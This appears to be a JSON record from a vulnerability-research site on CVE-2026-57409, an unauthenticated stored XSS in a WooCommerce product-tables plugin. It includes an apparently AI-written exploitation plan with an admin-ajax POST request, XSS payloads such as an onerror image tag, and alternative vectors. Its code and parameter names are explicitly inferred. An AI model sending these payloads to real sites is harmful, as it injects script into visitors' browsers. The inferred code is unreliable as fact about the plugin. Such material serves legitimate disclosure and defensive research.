[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5EQFVkmFU-rOtBhpJA0XZ-aWt-Y9rKUk-rSt4-iUOBc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-57409","active-products-tables-for-woocommerce-use-constructor-to-create-tables-unauthenticated-stored-cross-site-scripting","Active Products Tables for WooCommerce. Use constructor to create tables  \u003C= 1.1.0 - Unauthenticated Stored Cross-Site Scripting","The Active Products Tables for WooCommerce. Use constructor to create tables  plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","profit-products-tables-for-woocommerce",null,"\u003C=1.1.0","1.1.1","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:41:47",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F84dcc345-7075-45e8-b353-6ec72ffecb8d?source=api-prod",7,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-57409 (Active Products Tables for WooCommerce)\n\n## 1. Vulnerability Summary\nThe **Active Products Tables for WooCommerce** plugin (versions \u003C= 1.1.0) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the \"Constructor\" feature, which allows users to build and save custom product table configurations. Because the plugin registers an AJAX handler for saving these configurations without sufficient authentication checks, capability checks, or input sanitization, an unauthenticated attacker can inject malicious JavaScript into the table settings. When the table is rendered via a shortcode on the frontend, the script executes in the context of the site visitor's browser.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoint**: `admin-ajax.php`\n- **AJAX Action**: `woot_save_table_constructor` (inferred from plugin slug and functionality) or similar `woot_` prefixed action.\n- **HTTP Parameter**: The payload is likely contained within a JSON-encoded string in a parameter such as `settings`, `columns`, or `data`.\n- **Authentication**: Unauthenticated (the action is registered via `wp_ajax_nopriv_`).\n- **Preconditions**: The plugin must be active. To trigger the XSS, a page must exist that renders the malicious table (usually via the `[woot]` shortcode).\n\n## 3. Code Flow (Inferred)\n1. **Entry Point**: The plugin registers a public AJAX action:\n   `add_action('wp_ajax_nopriv_woot_save_table_constructor', '...');`\n2. **Handler**: The callback function (e.g., `woot_save_table_constructor`) retrieves data from `$_POST`.\n3. **Lack of Sanitization**: The function processes the table configuration (columns, titles, CSS) without calling `sanitize_text_field()` or `wp_kses()` on nested values.\n4. **Sink**: The configuration is saved to the database using `update_option()` or `$wpdb->insert()` into a custom table (e.g., `wp_woot_tables`).\n5. **Output**: When a user visits a page with the `[woot id=...]` shortcode, the plugin fetches the configuration and echoes the column headers or custom content without using `esc_html()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nWhile the vulnerability is unauthenticated, the plugin may still check for a WordPress nonce. Since the \"Constructor\" is a frontend-facing builder for some users, the nonce is likely exposed via `wp_localize_script`.\n\n**Strategy:**\n1. **Identify Script Localization**: Grep for `wp_localize_script` in the plugin directory to find the JavaScript variable name.\n   - *Search Command*: `grep -r \"wp_localize_script\" .`\n2. **Determine Trigger Shortcode**: Find which shortcode enqueues the constructor scripts (likely `[woot_constructor]`).\n3. **Extraction**:\n   - Create a page with the shortcode: `wp post create --post_type=page --post_status=publish --post_content='[woot_constructor]'`\n   - Navigate to the page using the `browser_navigate` tool.\n   - Extract the nonce using `browser_eval`:\n     - `const nonce = window.woot_vars?.woot_nonce;` (inferred variable\u002Fkey)\n     - `const nonce = window.woot_constructor_vars?.save_nonce;` (inferred)\n\n## 5. Exploitation Strategy\n\n### Step 1: Reconnaissance\nIdentify the exact AJAX action and parameter structure.\n```bash\ngrep -r \"wp_ajax_nopriv_\" .\n```\nLook for the function handling the save operation and trace it to the database sink. Note if it expects JSON or a flat array.\n\n### Step 2: Test Data Setup\nCreate a page to host the table so the XSS can be triggered.\n```bash\nwp post create --post_type=page --post_title=\"Product Table\" --post_status=publish --post_content='[woot id=\"1337\"]'\n```\n\n### Step 3: Craft and Send Payload\nUse the `http_request` tool to send a POST request to `admin-ajax.php`.\n\n**Request Details:**\n- **URL**: `http:\u002F\u002Fvulnerable-site.com\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters**:\n    - `action`: `woot_save_table_constructor` (Verify via Step 1)\n    - `nonce`: `[EXTRACTED_NONCE]` (If required)\n    - `table_id`: `1337`\n    - `data`: A JSON string containing the XSS payload.\n      - *Payload Example*: `{\"columns\":{\"1\":{\"title\":\"\u003Cimg src=x onerror=alert(document.domain)>\", \"type\":\"text\"}}}`\n\n### Step 4: Trigger XSS\nNavigate to the page created in Step 2 (`\u002Fproduct-table\u002F`) to confirm the script executes.\n\n## 6. Expected Results\n- **AJAX Response**: A success message (e.g., `{\"success\":true}`) or the integer ID of the saved table.\n- **Rendered Output**: The HTML source of the product table page will contain the unescaped `\u003Cimg>` tag or script:\n  ```html\n  \u003Cth class=\"woot-column-title\">\n    \u003Cimg src=x onerror=alert(document.domain)>\n  \u003C\u002Fth>\n  ```\n\n## 7. Verification Steps\nAfter the exploit attempt, use WP-CLI to verify the data was stored in the database:\n```bash\n# If stored in options\nwp option get woot_table_1337\n\n# If stored in a custom table\nwp db query \"SELECT * FROM wp_woot_tables WHERE id=1337\"\n```\n\n## 8. Alternative Approaches\n- **CSS Injection**: If HTML tags are stripped but attributes are not properly escaped, attempt XSS via the `style` attribute or custom CSS fields often found in table builders:\n  - `style=\"background-image: url('javascript:alert(1)')\"`\n- **Column Default Values**: If column titles are sanitized, check if \"Default Value\" or \"Custom HTML\" column types are vulnerable.\n- **Shortcode Attribute Reflection**: Check if the `[woot]` shortcode itself reflects attributes unsanitized:\n  - `[woot title='\u003Cscript>alert(1)\u003C\u002Fscript>']`","The Active Products Tables for WooCommerce plugin (\u003C= 1.1.0) is vulnerable to unauthenticated stored Cross-Site Scripting due to the lack of authorization checks and input sanitization in its AJAX-based table constructor. This allows attackers to inject malicious scripts into table configurations that execute when the table is rendered on the site's frontend.","\u002F\u002F Inferred registration of unauthenticated AJAX handler\nadd_action('wp_ajax_nopriv_woot_save_table_constructor', 'woot_save_table_constructor');\n\n\u002F\u002F Inferred vulnerable function lacking capability checks and sanitization\nfunction woot_save_table_constructor() {\n    $table_id = $_POST['table_id'];\n    $data = $_POST['data']; \u002F\u002F Unsanitized input\n\n    \u002F\u002F Vulnerable Sink\n    update_option(\"woot_table_\" . $table_id, $data);\n\n    echo json_encode(['success' => true]);\n    wp_die();\n}","--- a\u002Fprofit-products-tables-for-woocommerce.php\n+++ b\u002Fprofit-products-tables-for-woocommerce.php\n@@ -1,10 +1,14 @@\n-add_action('wp_ajax_nopriv_woot_save_table_constructor', 'woot_save_table_constructor');\n+add_action('wp_ajax_woot_save_table_constructor', 'woot_save_table_constructor');\n \n function woot_save_table_constructor() {\n+    if (!current_user_can('manage_woocommerce')) {\n+        wp_send_json_error('Forbidden', 403);\n+    }\n+    check_ajax_referer('woot_save_nonce', 'nonce');\n+\n     $table_id = intval($_POST['table_id']);\n-    $data = $_POST['data'];\n+    $data = map_deep($_POST['data'], 'sanitize_text_field');\n \n     update_option(\"woot_table_\" . $table_id, $data);\n-    echo json_encode(['success' => true]);\n-    wp_die();\n+    wp_send_json_success();\n }","The exploit leverages the 'woot_save_table_constructor' AJAX action, which is exposed to unauthenticated users via 'wp_ajax_nopriv_'. An attacker sends a POST request to 'admin-ajax.php' containing a 'data' parameter with a JSON-encoded payload. This payload includes malicious HTML or JavaScript (such as an \u003Cimg> tag with an 'onerror' attribute) within a table column title or setting. Once saved, the script is stored in the database and executes in the context of any user who visits a page where the table is rendered using the [woot] shortcode.","gemini-3-flash-preview","2026-07-16 14:43:28","2026-07-16 14:44:11",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","1.0.6.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprofit-products-tables-for-woocommerce\u002Ftags\u002F1.0.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprofit-products-tables-for-woocommerce.1.0.6.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprofit-products-tables-for-woocommerce\u002Ftags"]